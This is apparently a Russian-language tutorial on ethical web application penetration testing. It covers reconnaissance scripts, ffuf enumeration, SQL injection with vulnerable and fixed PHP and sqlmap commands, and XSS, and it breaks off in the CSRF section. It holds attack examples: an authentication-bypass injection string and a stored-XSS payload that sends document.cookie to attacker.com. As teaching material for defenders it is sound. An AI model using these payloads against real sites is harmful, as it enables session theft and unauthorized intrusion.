Если вы когда-нибудь задумывались, что происходит на «другой стороне» веб-безопасности — где хорошие парни намеренно что-то ломают, — то вам предстоит увлекательное путешествие. Этичный хакерство для веб-приложений — это, по сути, искусство мыслить как преступник, чтобы предотвратить реальные преступления. Это разрешённый хаос в структурированном формате, и, в отличие от настоящего хакинга, никто не отправит вас в тюрьму. Довольно выгодное предложение, правда?
Почему вам следует заботиться о безопасности веб-приложений?
Прежде чем мы углубимся в тонкости методов эксплуатации, давайте определимся, почему это важно. Веб-приложения есть повсюду — ваше банковское приложение, социальные сети, тот странный SaaS-инструмент, за который ваша компания платит 500 долларов в месяц. Каждое из них может стать потенциальной золотой жилой для злоумышленников или потенциальной ответственностью для компаний, которые не продумали свою безопасность.
Правда неприятна: у большинства веб-приложений есть уязвимости. Не «могут быть», а почти наверняка есть. Уязвимости из списка OWASP Top 10 преследуют веб-приложения почти два десятилетия, и они всё ещё появляются в производственном коде, как нежелательные родственники на ужине в честь Дня благодарения.
Этичные хакеры заполняют критический пробел. Мы — авторизованные атакующие, которые находят уязвимости раньше, чем это делают злонамеренные лица. Это превентивная медицина для вашей цифровой инфраструктуры.
Понимание вашей миссии: фреймворк этичного хакерства
Прежде чем вы даже задумаетесь об эксплуатации чего-либо, вам необходимо понять правовую и этическую ситуацию. Этичное хакерство работает только тогда, когда оно действительно разрешено. Получите письменное разрешение. Зафиксируйте это в письменном виде. Серьёзно, не пропускайте этот шаг, если не хотите, чтобы ваша карьера взяла неожиданный поворот.
Надлежащее тестирование на проникновение в веб-приложение следует структурированной методологии, обычно основанной на фреймворке OWASP. Общий поток выглядит примерно так:
Каждый этап основывается на предыдущем, и пропуск шагов — это то, как младшие пентестеры упускают уязвимости, за поиск которых старшие пентестеры берут тысячи.
Этап 1: Сбор разведданных — искусство притворяться потерявшимся туристом
Сбор разведданных — это когда вы собираете информацию о своей цели, не вызывая подозрений. Думайте об этом как о преследовании, но законном.
Пассивный сбор разведданных
Пассивный сбор разведданных означает сбор информации без прямого взаимодействия с целевой системой. Вы в основном используете Google как детектив.
Что нужно исследовать:
- Информация о домене с помощью поиска WHOIS;
- Записи DNS и поддомены;
- Публичные репозитории на GitHub (разработчики любят случайно коммитить API-ключи);
- Социальные сети и информация о сотрудниках;
- Вакансии (да, они раскрывают технические стеки);
- Кэшированные страницы и веб-архивы;
- История SSL-сертификатов.
Вот практический скрипт на bash для сбора некоторой начальной информации:
#!/bin/bash
# Скрипт пассивного сбора разведданных
TARGET="$1"
if [ -z "$TARGET" ]; then
echo "Использование: $0 <домен>"
exit 1
fi
echo "[*] Информация WHOIS:"
whois "$TARGET" 2>/dev/null | grep -E "Registrant|Admin|Tech|Created|Expires" | head -10
echo -e "\n[*] Записи DNS:"
dig "$TARGET" +short
dig "$TARGET" MX +short
dig "$TARGET" NS +short
echo -e "\n[*] Поддомены (используя общие шаблоны):"
for sub in www mail ftp admin api dev staging; do
dig "$sub.$TARGET" +short 2>/dev/null | grep -v "^$" && echo "$sub.$TARGET"
done
echo -e "\n[*] Тестирование на наличие общих путей:"
curl -s -I "https://$TARGET/robots.txt" | head -1
curl -s -I "https://$TARGET/.well-known/security.txt" | head -1
curl -s "https://$TARGET/sitemap.xml" | head -5
Активный сбор разведданных
После того как вы получите письменное разрешение, активный сбор разведданных предполагает непосредственное зондирование цели. Здесь в игру вступают такие инструменты, как BurpSuite Pro и ZAP. Вы собираетесь:
- Выполнить сканирование портов;
- Определить веб-серверы и технологии;
- Составить карту структуры приложения;
- Обнаружить скрытые конечные точки.
# Перечисление поддоменов с помощью ffuf
ffuf -w /path/to/wordlist.txt -u "https://TARGET/FUZZ" -mc 200,301,302
# Более агрессивная версия для авторизованных тестов
ffuf -w /path/to/wordlist.txt -u "https://TARGET/FUZZ" -mc 200,301,302,401,403 -c -v
Этап 2: Понимание распространённых уязвимостей веб-приложений
Теперь мы переходим к самому интересному — уязвимостям. Давайте рассмотрим OWASP Top 10 через призму практики.
SQL-инъекция: дед всех уязвимостей
SQL-инъекция древняя по меркам интернета, но она всё ещё повсюду. Она происходит, когда пользовательский ввод неправильно очищается иconcatenated напрямую в SQL-запросы.
Уязвимый код (PHP — плохой паттерн):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// НЕ ДЕЛАЙТЕ ЭТО — НИКОГДА
$query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = mysqli_query($conn, $query);
?>
Злоумышленник может ввести: ' OR '1'='1 для имени пользователя, полностью минуя аутентификацию.
Тестирование на SQL-инъекцию:
# Использование sqlmap для выявления уязвимостей SQLi
sqlmap -u "https://target.com/login.php" --data="username=test&password=test" -p username --risk=1 --level=1
# Более агрессивное тестирование
sqlmap -u "https://target.com/search.php?query=test" -p query --risk=3 --level=5 --batch
Безопасная реализация (PHP — хороший паттерн):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// Используйте подготовленные операторы
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>
Межсайтовый скриптинг (XSS): злой близнец JavaScript
XSS происходит, когда злоумышленник внедряет вредоносный JavaScript в веб-страницу. Существует три основных типа:
1. Отраженный XSS — злоумышленник обманывает пользователя, заставляя его нажать на вредоносную ссылку:
https://target.com/search.php?q=<script>alert('XSS')</script>
2. Сохраненный XSS — полезная нагрузка сохраняется в базе данных и выполняется для каждого пользователя:
<!-- Уязвимая форма комментариев -->
<form method="POST" action="/submit_comment.php">
<textarea name="comment"></textarea>
<button type="submit">Опубликовать</button>
</form>
<!-- Если комментарий не очищен: -->
<!-- Злоумышленник отправляет: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> -->
3. XSS на основе DOM — уязвимый клиентский JavaScript-код:
// Уязвимый JavaScript
document.getElementById("output").innerHTML = userInput;
// Лучший подход
document.getElementById("output").textContent = userInput;
Рекомендации по предотвращению:
<?php
// Эскейп вывода
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// Используйте заголовки политики безопасности содержимого
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
// Проверяйте и очищайте ввод
$clean_input = filter_var($user_input, FILTER_SANITIZE_STRING);
?>
Межсайтовая подделка запросов (CSRF): хитрый самозванец
CSRF обманывает аутентифицированного пользователя, заставляя его выполнять нежелательные действия. Это цифровой эквивалент подделки чьей-либо подписи
